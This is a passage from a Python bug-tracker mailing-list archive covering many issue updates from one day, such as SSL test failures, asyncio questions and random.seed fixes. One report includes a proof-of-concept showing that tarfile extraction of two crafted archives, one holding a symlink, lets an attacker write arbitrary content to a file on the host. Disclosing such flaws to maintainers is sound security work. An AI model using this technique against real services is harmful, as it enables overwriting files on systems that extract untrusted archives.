nosy: leveryd priority: normal severity: normal status: open title: "urllib" will result to deny of service type: security versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 13:30:48 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 17:30:48 +0000 Subject: [issue44020] test_ssl fails in the macos CI Message-ID: <1620063048.46.0.426717037332.issue44020@roundup.psfhosted.org> New submission from Christian Heimes : Why did you create a new ticket and why did you modify bpo-43943? The situatuon is under control and tests are passing again. I left the other ticket in pending state because I like to monitor the situation for a couple of days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 13:44:03 2021 From: report at bugs.python.org (guangli dong) Date: Mon, 03 May 2021 17:44:03 +0000 Subject: [issue44023] "tarfile" library will lead to "write any content to any file on the host". Message-ID: <1620063843.8.0.514260137969.issue44023@roundup.psfhosted.org> New submission from guangli dong : if uncompress file twice to the same dir, attacker can "write any content to any file on the host"". poc code like below: ``` import tarfile dir_name = "/tmp/anything" file1_name = "/tmp/a.tar.gz" # ln -sv /tmp/a test_tar/a;tar -cvf a.tar.gz test_tar/a file2_name = "/tmp/b.tar.gz" # echo "it is just poc" > /tmp/payload; rm -rf test_tar; cp /tmp/payload test_tar/a;tar -cvf b.tar.gz test_tar/a def vuln_tar(tar_path): """ :param tar_path: :return: """ import tarfile tar = tarfile.open(tar_path, "r:tar") file_names = tar.getnames() for file_name in file_names: tar.extract(file_name, dir_name) tar.close() vuln_tar(file1_name) vuln_tar(file2_name) ``` in this poc code, if one service uncompress tar file which is uploaded by attacker to "dir_name" twice, attacker can create "/tmp/a" and write "it is just poc" string into "/tmp/a" file. ---------- components: Library (Lib) files: poc.tar.gz messages: 392827 nosy: leveryd priority: normal severity: normal status: open title: "tarfile" library will lead to "write any content to any file on the host". type: security versions: Python 3.7 Added file: https://bugs.python.org/file50005/poc.tar.gz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 14:12:28 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 03 May 2021 18:12:28 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620065548.94.0.956773768328.issue43976@roundup.psfhosted.org> Filipe La?ns added the comment: FYI, I have change the implementation to split the extra install schemes and extra schemes activated on site. This still makes sense over sitecustomize because we want the packages to be included in site.getsitepackages -- we want the vendor packages to essentially be the same as site-packages. I have also moved sysconfig._get_preferred_schemes to the vendor config, instead of asking distributors to patch sysconfig -- this is why I prefer having it as executable code, we customize using functions, etc. https://docs.python.org/3.10/library/sysconfig.html#sysconfig._get_preferred_schemes A config taking advantage of all these mechanisms should look like this: ``` EXTRA_INSTALL_SCHEMES = { 'vendor': { 'stdlib': '{installed_base}/{platlibdir}/python{py_version_short}', 'platstdlib': '{platbase}/{platlibdir}/python{py_version_short}', 'purelib': '{base}/lib/python{py_version_short}/vendor-packages', 'platlib': '{platbase}/{platlibdir}/python{py_version_short}/vendor-packages', 'include': '{installed_base}/include/python{py_version_short}{abiflags}', 'platinclude': '{installed_platbase}/include/python{py_version_short}{abiflags}', 'scripts': '{base}/bin', 'data': '{base}', }, } EXTRA_SITE_INSTALL_SCHEMES = [ 'vendor', ] def get_preferred_schemes(...): ... ``` Do you have any thoughts on this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 14:20:15 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 03 May 2021 18:20:15 +0000 Subject: [issue44020] test_ssl fails in the macos CI In-Reply-To: <1620063048.46.0.426717037332.issue44020@roundup.psfhosted.org> Message-ID: <1620066015.75.0.337059288257.issue44020@roundup.psfhosted.org> Terry J. Reedy added the comment: This person, mohansai, seems to be misbehaving on the tracker and should be stopped or at least educated. mohansai just reassigned a closed issue about Windows extensions to IDLE, #43710, thus assigning it to me and wasting my time. (I reverted the changes.) Does mohansai have triage privileges, or can anyone do this? ---------- nosy: +terry.reedy resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 14:22:41 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 03 May 2021 18:22:41 +0000 Subject: [issue44021] enum docs in 3.10: missing "New in version 3.10" In-Reply-To: <1620061310.33.0.417307154236.issue44021@roundup.psfhosted.org> Message-ID: <1620066161.13.0.222141184909.issue44021@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +barry, eli.bendersky, ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 14:35:29 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Mon, 03 May 2021 18:35:29 +0000 Subject: [issue43806] asyncio.StreamReader hangs when reading from pipe and other process exits unexpectedly In-Reply-To: <1618143469.5.0.154132734242.issue43806@roundup.psfhosted.org> Message-ID: <1620066929.24.0.667891269953.issue43806@roundup.psfhosted.org> Jonathan Schweder added the comment: @kormang this is an expected behaviour, this is a problem even for the OS level, just because it is impossible to know when the reader needs to stop waiting, the best option here is to implement some timeout mechanism. ---------- nosy: +jaswdr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 14:37:55 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Mon, 03 May 2021 18:37:55 +0000 Subject: [issue42725] PEP 563: Should the behavior change for yield/yield from's In-Reply-To: <1608730131.08.0.595189962302.issue42725@roundup.psfhosted.org> Message-ID: <1620067075.99.0.480113736337.issue42725@roundup.psfhosted.org> Batuhan Taskaya added the comment: > Batuhan, can this issue be closed? No, I still need to take care of what's new entry. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 14:43:58 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 03 May 2021 18:43:58 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620067438.43.0.246652023222.issue43976@roundup.psfhosted.org> Steve Dower added the comment: Yes, I saw some of the latest changes in the PR. My biggest concern is with the bare "import _vendor_config", which I'd prefer to have restricted to a fixed location, rather than being influenced by environment variables and other options. We already have an issue with readline being imported from anywhere it can be found. A native flag to suppress it (i.e. something in sys.flags) could also become important for embedders, though it may matter more at a higher level (i.e. should an embedded CPython *ever* be using sysconfig? Probably not...). I wouldn't add a new flag for it right now, but I feel like sys.flags.isolated should probably imply that this should be ignored. Though then we hit the issue again that these patches are about changing the "safe default" behaviour, which is what you want to get back when you run with -S or -I. And I'm not totally sure how to resolve this. So basically, my concerns are: * don't import arbitrary files * ensure -S/-I options remain useful (or become even more useful) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 14:49:51 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Mon, 03 May 2021 18:49:51 +0000 Subject: [issue43742] tcp_echo_client in asyncio streams example does not work. Hangs for ever at reaser.read() In-Reply-To: <1617696453.27.0.575129983051.issue43742@roundup.psfhosted.org> Message-ID: <1620067791.61.0.345614529353.issue43742@roundup.psfhosted.org> Jonathan Schweder added the comment: I was able to execute the example in Debian 10 + Python 3.10+ Did you execute the server too? You need to create two files, one for the client code and one for the server code, the server as specified by the example should be something like the code below, try to save it to a file, then execute it, after that execute the client example that you have cited. import asyncio async def handle_echo(reader, writer): data = await reader.read(100) message = data.decode() addr = writer.get_extra_info('peername') print(f"Received {message!r} from {addr!r}") print(f"Send: {message!r}") writer.write(data) await writer.drain() print("Close the connection") writer.close() async def main(): server = await asyncio.start_server( handle_echo, '127.0.0.1', 8888) addr = server.sockets[0].getsockname() print(f'Serving on {addr}') async with server: await server.serve_forever() asyncio.run(main()) ---------- nosy: +jaswdr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 14:55:28 2021 From: report at bugs.python.org (Theelgirl) Date: Mon, 03 May 2021 18:55:28 +0000 Subject: [issue43963] test_interpreters has side effects on test_signal In-Reply-To: <1619564324.1.0.88409924964.issue43963@roundup.psfhosted.org> Message-ID: <1620068128.13.0.630094479029.issue43963@roundup.psfhosted.org> Theelgirl added the comment: Sorry if I'm not supposed to open closed issues, however I believe there's a typo in the whatsnew page for this. In https://docs.python.org/3.10/whatsnew/changelog.html#changelog, the entry for bpo-43963 says "Importing the signal module in a subinterpreter has no longer side effects.", however I believe it should be "Importing the signal module in a subinterpreter no longer has side effects". The only difference is that "has" is moved after "no longer" instead of before. ---------- nosy: +Theelgirl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 15:09:07 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Mon, 03 May 2021 19:09:07 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620068947.22.0.13975651145.issue43882@roundup.psfhosted.org> Senthil Kumaran added the comment: New changeset 8a595744e696a0fb92dccc5d4e45da41571270a1 by Senthil Kumaran in branch '3.9': [3.9] bpo-43882 Remove the newline, and tab early. From query and fragments. (#25853) https://github.com/python/cpython/commit/8a595744e696a0fb92dccc5d4e45da41571270a1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 15:37:31 2021 From: report at bugs.python.org (Ethan Furman) Date: Mon, 03 May 2021 19:37:31 +0000 Subject: [issue44021] enum docs in 3.10: missing "New in version 3.10" In-Reply-To: <1620061310.33.0.417307154236.issue44021@roundup.psfhosted.org> Message-ID: <1620070651.4.0.440859888745.issue44021@roundup.psfhosted.org> Ethan Furman added the comment: EnumMeta has been renamed to EnumType, but has been kept as an alias. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 15:52:34 2021 From: report at bugs.python.org (Thor Whalen) Date: Mon, 03 May 2021 19:52:34 +0000 Subject: [issue41232] Python `functools.wraps` doesn't deal with defaults correctly In-Reply-To: <1619931159.44.0.995284665324.issue41232@roundup.psfhosted.org> Message-ID: Thor Whalen added the comment: On the surface, seems like a fair design to me: Back-compatible yet solves this misalignment that bugged me (literally). It would also force the documentation of `functools.wraps` to mention this "trap", through describing the `signature_changed` flag. As for the `__wrapped_with_changed_signature__`; yes, it's terrible. But I have no better. At least, it's very descriptive! On Sat, May 1, 2021 at 9:52 PM Jelle Zijlstra wrote: > > Jelle Zijlstra added the comment: > > We could add a new argument to `@functools.wraps()` to differentiate > between a wrapper with the same signature and one with a different > signature. > > Here's a possible design: > * functools.wraps adds a new keyword-only argument signature_changed. It > defaults to False for backward compatibility. > * If signature_changed is True: > * __annotations__ are not copied > * __wrapped__ is not set on the wrapping function. Instead, we set a new > attribute __wrapped_with_changed_signature__ (that's a pretty terrible > name, open to suggestions). This will make inspect.signature not look at > the wrapped function. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 15:52:38 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 03 May 2021 19:52:38 +0000 Subject: [issue42800] Traceback objects allow accessing frame objects without triggering audit hooks In-Reply-To: <1609460218.67.0.01717828776.issue42800@roundup.psfhosted.org> Message-ID: <1620071558.7.0.759351130206.issue42800@roundup.psfhosted.org> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 15:58:47 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 19:58:47 +0000 Subject: [issue41561] test_ssl fails in Ubuntu 20.04: test_min_max_version_mismatch In-Reply-To: <1597551049.14.0.0578030464715.issue41561@roundup.psfhosted.org> Message-ID: <1620071927.38.0.450133796971.issue41561@roundup.psfhosted.org> Ned Deily added the comment: New changeset 64be96ae1f85ce6b3bca4328576cf62d73f77b2a by Christian Heimes in branch '3.7': [3.7] bpo-41561: Add workaround for Ubuntu's custom security level (GH-24915) (GH-24928) https://github.com/python/cpython/commit/64be96ae1f85ce6b3bca4328576cf62d73f77b2a ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 16:08:00 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 20:08:00 +0000 Subject: [issue41561] test_ssl fails in Ubuntu 20.04: test_min_max_version_mismatch In-Reply-To: <1597551049.14.0.0578030464715.issue41561@roundup.psfhosted.org> Message-ID: <1620072480.71.0.0424679789286.issue41561@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24541 pull_request: https://github.com/python/cpython/pull/25858 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 16:26:25 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 20:26:25 +0000 Subject: [issue41561] test_ssl fails in Ubuntu 20.04: test_min_max_version_mismatch In-Reply-To: <1597551049.14.0.0578030464715.issue41561@roundup.psfhosted.org> Message-ID: <1620073585.81.0.409339254327.issue41561@roundup.psfhosted.org> Ned Deily added the comment: New changeset 512742d554f2c10e9a273855d87a68f5ee93ed29 by Miss Islington (bot) in branch '3.7': bpo-41561: Fix testing with OpenSSL 1.0.2 (GH-25355) (GH-25858) https://github.com/python/cpython/commit/512742d554f2c10e9a273855d87a68f5ee93ed29 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 16:35:52 2021 From: report at bugs.python.org (Yann Dirson) Date: Mon, 03 May 2021 20:35:52 +0000 Subject: [issue41222] Undocumented behaviour change of POpen.stdout.readine with bufsize=0 or =1 In-Reply-To: <1594065242.21.0.841046846995.issue41222@roundup.psfhosted.org> Message-ID: <1620074152.65.0.0824183908079.issue41222@roundup.psfhosted.org> Change by Yann Dirson : ---------- keywords: +patch pull_requests: +24542 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25859 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 16:39:03 2021 From: report at bugs.python.org (Yann Dirson) Date: Mon, 03 May 2021 20:39:03 +0000 Subject: [issue41222] POpen bufsize=0 ignored with universal_newlines=True In-Reply-To: <1594065242.21.0.841046846995.issue41222@roundup.psfhosted.org> Message-ID: <1620074343.66.0.469510531962.issue41222@roundup.psfhosted.org> Yann Dirson added the comment: > The fact that my stdout object has no read1() and needs the above patch looks like a good lead for further investigation? That's linked to universal_newlines, the bug only shows when that flag is set. Testcases provided in https://github.com/python/cpython/pull/25859 ---------- title: Undocumented behaviour change of POpen.stdout.readine with bufsize=0 or =1 -> POpen bufsize=0 ignored with universal_newlines=True _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 17:00:39 2021 From: report at bugs.python.org (julian colomina) Date: Mon, 03 May 2021 21:00:39 +0000 Subject: [issue43742] tcp_echo_client in asyncio streams example does not work. Hangs for ever at reaser.read() In-Reply-To: <1617696453.27.0.575129983051.issue43742@roundup.psfhosted.org> Message-ID: <1620075639.71.0.409445798245.issue43742@roundup.psfhosted.org> julian colomina added the comment: @jaswdr Thanks for your response. No I did not run the server that you mention. The language made me imply that the same process, in two separate coroutines, would be writing/reading from each end of the tcp connection. One writing to the tcp buffer, the second one draining it. If the intended usage is as you explain, please close the issue. My bad, sorry. JC ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 17:13:22 2021 From: report at bugs.python.org (=?utf-8?q?Alexander_Niederb=C3=BChl?=) Date: Mon, 03 May 2021 21:13:22 +0000 Subject: [issue43991] asyncio lock does not get released after task is canceled In-Reply-To: <1619808584.15.0.419311675075.issue43991@roundup.psfhosted.org> Message-ID: <1620076402.05.0.666066201686.issue43991@roundup.psfhosted.org> Alexander Niederb?hl added the comment: That makes sense, thanks! ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 17:29:17 2021 From: report at bugs.python.org (Aurora) Date: Mon, 03 May 2021 21:29:17 +0000 Subject: [issue39468] Improved the site module's permission handling while writing .python_history In-Reply-To: <1580154412.97.0.35138425226.issue39468@roundup.psfhosted.org> Message-ID: <1620077357.69.0.865721704054.issue39468@roundup.psfhosted.org> Change by Aurora : ---------- pull_requests: +24543 status: pending -> open pull_request: https://github.com/python/cpython/pull/18210 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 17:41:49 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 03 May 2021 21:41:49 +0000 Subject: [issue43710] Access violations in C extension modules on Python 3.9.3 In-Reply-To: <1617419380.7.0.273976800885.issue43710@roundup.psfhosted.org> Message-ID: <1620078109.73.0.817600717806.issue43710@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- components: +Extension Modules, Windows -IDLE _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 17:42:14 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 03 May 2021 21:42:14 +0000 Subject: [issue43710] Access violations in C extension modules on Python 3.9.3 In-Reply-To: <1617419380.7.0.273976800885.issue43710@roundup.psfhosted.org> Message-ID: <1620078134.32.0.936081779169.issue43710@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- assignee: terry.reedy -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 18:50:44 2021 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Mon, 03 May 2021 22:50:44 +0000 Subject: [issue44024] Use common TypeError message for built-in functions getattr and hasattr Message-ID: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> New submission from G?ry : Problem ------- Actual behaviour: ```python >>> getattr('foobar', 123) Traceback (most recent call last): File "", line 1, in TypeError: getattr(): attribute name must be string >>> hasattr('foobar', 123) Traceback (most recent call last): File "", line 1, in TypeError: hasattr(): attribute name must be string ``` Expected behaviour: ```python >>> getattr('foobar', 123) Traceback (most recent call last): File "", line 1, in TypeError: attribute name must be string, not 'int' >>> hasattr('foobar', 123) Traceback (most recent call last): File "", line 1, in TypeError: attribute name must be string, not 'int' ``` Motivation: ```python >>> setattr('foobar', 123, 'baz') Traceback (most recent call last): File "", line 1, in TypeError: attribute name must be string, not 'int' >>> delattr('foobar', 123) Traceback (most recent call last): File "", line 1, in TypeError: attribute name must be string, not 'int' ``` Solution -------- In the function `builtin_getattr` defined in Python/bltinmodule.c, we remove the following lines: ```c if (!PyUnicode_Check(name)) { PyErr_SetString(PyExc_TypeError, "getattr(): attribute name must be string"); return NULL; } ``` because the expected `TypeError` message is already implemented in the subsequent call to the functions `_PyObject_LookupAttr` and `PyObject_GetAttr` defined in Objects/object.c: ```c PyObject * PyObject_GetAttr(PyObject *v, PyObject *name) { PyTypeObject *tp = Py_TYPE(v); if (!PyUnicode_Check(name)) { PyErr_Format(PyExc_TypeError, "attribute name must be string, not '%.200s'", Py_TYPE(name)->tp_name); return NULL; } [?] int _PyObject_LookupAttr(PyObject *v, PyObject *name, PyObject **result) { PyTypeObject *tp = Py_TYPE(v); if (!PyUnicode_Check(name)) { PyErr_Format(PyExc_TypeError, "attribute name must be string, not '%.200s'", Py_TYPE(name)->tp_name); *result = NULL; return -1; } [?] ``` Likewise, in the function `builtin_hasattr_impl` defined in Python/bltinmodule.c, we remove the following lines: ```c if (!PyUnicode_Check(name)) { PyErr_SetString(PyExc_TypeError, "hasattr(): attribute name must be string"); return NULL; } ``` because the expected `TypeError` message is already implemented in the subsequent call to the function `_PyObject_LookupAttr` defined in Objects/object.c. ---------- components: Interpreter Core messages: 392843 nosy: maggyero priority: normal severity: normal status: open title: Use common TypeError message for built-in functions getattr and hasattr type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 18:51:06 2021 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Mon, 03 May 2021 22:51:06 +0000 Subject: [issue44024] Use common TypeError message for built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1620082266.67.0.20188355222.issue44024@roundup.psfhosted.org> Change by G?ry : ---------- keywords: +patch pull_requests: +24544 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25863 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 19:11:51 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 23:11:51 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620083511.2.0.91087430981.issue44018@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24545 pull_request: https://github.com/python/cpython/pull/25864 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 19:11:56 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 23:11:56 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620083516.64.0.42795198911.issue44018@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24546 pull_request: https://github.com/python/cpython/pull/25865 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 19:36:17 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 03 May 2021 23:36:17 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620084977.99.0.451327483061.issue44018@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset e733e9951d0116e9af66b66772e708412d7f5280 by Miss Islington (bot) in branch '3.9': bpo-44018: random.seed() no longer mutates its inputs (GH-25856) (GH-25864) https://github.com/python/cpython/commit/e733e9951d0116e9af66b66772e708412d7f5280 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 19:59:43 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 23:59:43 +0000 Subject: [issue43822] Improve syntax errors for missing commas In-Reply-To: <1618277443.81.0.695650412986.issue43822@roundup.psfhosted.org> Message-ID: <1620086383.85.0.2188054569.issue43822@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +24547 pull_request: https://github.com/python/cpython/pull/25866 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 20:01:07 2021 From: report at bugs.python.org (Hasan) Date: Tue, 04 May 2021 00:01:07 +0000 Subject: [issue42095] plistlib: Add tests that compare with plutil(1) In-Reply-To: <1603178661.31.0.803001342032.issue42095@roundup.psfhosted.org> Message-ID: <1620086467.69.0.557294796191.issue42095@roundup.psfhosted.org> Hasan added the comment: Does this issue still open? I would like to write this tests. ---------- nosy: +AliyevH _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 20:02:25 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 00:02:25 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620086545.18.0.0507816117346.issue44018@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24548 pull_request: https://github.com/python/cpython/pull/25867 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 20:32:57 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Tue, 04 May 2021 00:32:57 +0000 Subject: [issue31526] Allow setting timestamp in gzip-compressed tarfiles In-Reply-To: <1505884271.66.0.629388109764.issue31526@psf.upfronthosting.co.za> Message-ID: <1620088377.75.0.552888521571.issue31526@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 20:32:56 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 00:32:56 +0000 Subject: [issue43822] Improve syntax errors for missing commas In-Reply-To: <1618277443.81.0.695650412986.issue43822@roundup.psfhosted.org> Message-ID: <1620088376.54.0.00759918277745.issue43822@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24549 pull_request: https://github.com/python/cpython/pull/25869 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 20:49:03 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 00:49:03 +0000 Subject: [issue43822] Improve syntax errors for missing commas In-Reply-To: <1618277443.81.0.695650412986.issue43822@roundup.psfhosted.org> Message-ID: <1620089343.26.0.18705461506.issue43822@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24550 pull_request: https://github.com/python/cpython/pull/25870 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 21:06:55 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 01:06:55 +0000 Subject: [issue43822] Improve syntax errors for missing commas In-Reply-To: <1618277443.81.0.695650412986.issue43822@roundup.psfhosted.org> Message-ID: <1620090415.39.0.696313978707.issue43822@roundup.psfhosted.org> miss-islington added the comment: New changeset 756b7b9248885d65c2b3b9f1c5a8f66aa2e8de7a by Miss Islington (bot) in branch '3.10': bpo-43822: Prioritize tokenizer errors over custom syntax errors when raising parser exceptions (GH-25866) https://github.com/python/cpython/commit/756b7b9248885d65c2b3b9f1c5a8f66aa2e8de7a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 21:07:46 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 01:07:46 +0000 Subject: [issue43822] Improve syntax errors for missing commas In-Reply-To: <1618277443.81.0.695650412986.issue43822@roundup.psfhosted.org> Message-ID: <1620090466.86.0.777858364287.issue43822@roundup.psfhosted.org> miss-islington added the comment: New changeset d1ff838d1091853ed6f56bc1573606dc0d74a691 by Miss Islington (bot) in branch '3.10': bpo-43822: Prioritize tokenizer errors over custom syntax errors when raising parser exceptions (GH-25866) https://github.com/python/cpython/commit/d1ff838d1091853ed6f56bc1573606dc0d74a691 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 22:02:55 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 02:02:55 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620093775.94.0.170127790549.issue44018@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24551 pull_request: https://github.com/python/cpython/pull/25872 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 22:04:38 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 02:04:38 +0000 Subject: [issue44025] Match doc: Clarify '_' as a soft keyword Message-ID: <1620093878.28.0.805814541074.issue44025@roundup.psfhosted.org> New submission from Terry J. Reedy : In #44010, we are trying, as best as is possible with comprehensible REs, to identify in which circumstances occurrences of 'match', 'case' and '_' are keywords, and should be marked as such. I was initially unsure and even wrong about '_'. 1. Capture Patterns: I was confused by 'And is instead...'. 'It is instead ...', where 'it' refers to '_', is clearer to me. 2. Wildcard Patterns: "'_' is a soft keyword" just says it sometimes is and sometimes is not, but not when, or rather, where. After experiments like this (using the new IDLE 'copy with prompts' option ;-): >>> _ = 'a' >>> match [_, 'b']: ... case [capture, _] if _ == 'a': ... print(capture, _) ... a a I added (in PR to come, with markup that might be improved) "within any pattern, but only within patterns. It is an identifier, as usual, even within ``match`` headers, ``guards``, and ``case blocks``. Please consider also adding an example like the above. ---------- assignee: docs at python components: Documentation messages: 392848 nosy: brandtbucher, docs at python, gvanrossum, terry.reedy priority: normal severity: normal stage: patch review status: open title: Match doc: Clarify '_' as a soft keyword type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 22:12:20 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 02:12:20 +0000 Subject: [issue44025] Match doc: Clarify '_' as a soft keyword In-Reply-To: <1620093878.28.0.805814541074.issue44025@roundup.psfhosted.org> Message-ID: <1620094340.8.0.0313953756968.issue44025@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- keywords: +patch pull_requests: +24552 pull_request: https://github.com/python/cpython/pull/25873 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 22:45:36 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 02:45:36 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620096336.81.0.726009994723.issue44018@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 2995bff4269d274c0a3abfd45dc33b28f0c3e25f by Miss Islington (bot) in branch '3.10': bpo-44018: random.seed() no longer mutates its inputs (GH-25856) (GH-25872) https://github.com/python/cpython/commit/2995bff4269d274c0a3abfd45dc33b28f0c3e25f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 22:57:09 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 02:57:09 +0000 Subject: [issue40465] Deprecate the optional *random* argument to random.shuffle() In-Reply-To: <1588321901.81.0.617278241299.issue40465@roundup.psfhosted.org> Message-ID: <1620097029.38.0.570355913508.issue40465@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- pull_requests: +24553 pull_request: https://github.com/python/cpython/pull/25874 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 22:58:55 2021 From: report at bugs.python.org (Anthony Sottile) Date: Tue, 04 May 2021 02:58:55 +0000 Subject: [issue40465] Deprecate the optional *random* argument to random.shuffle() 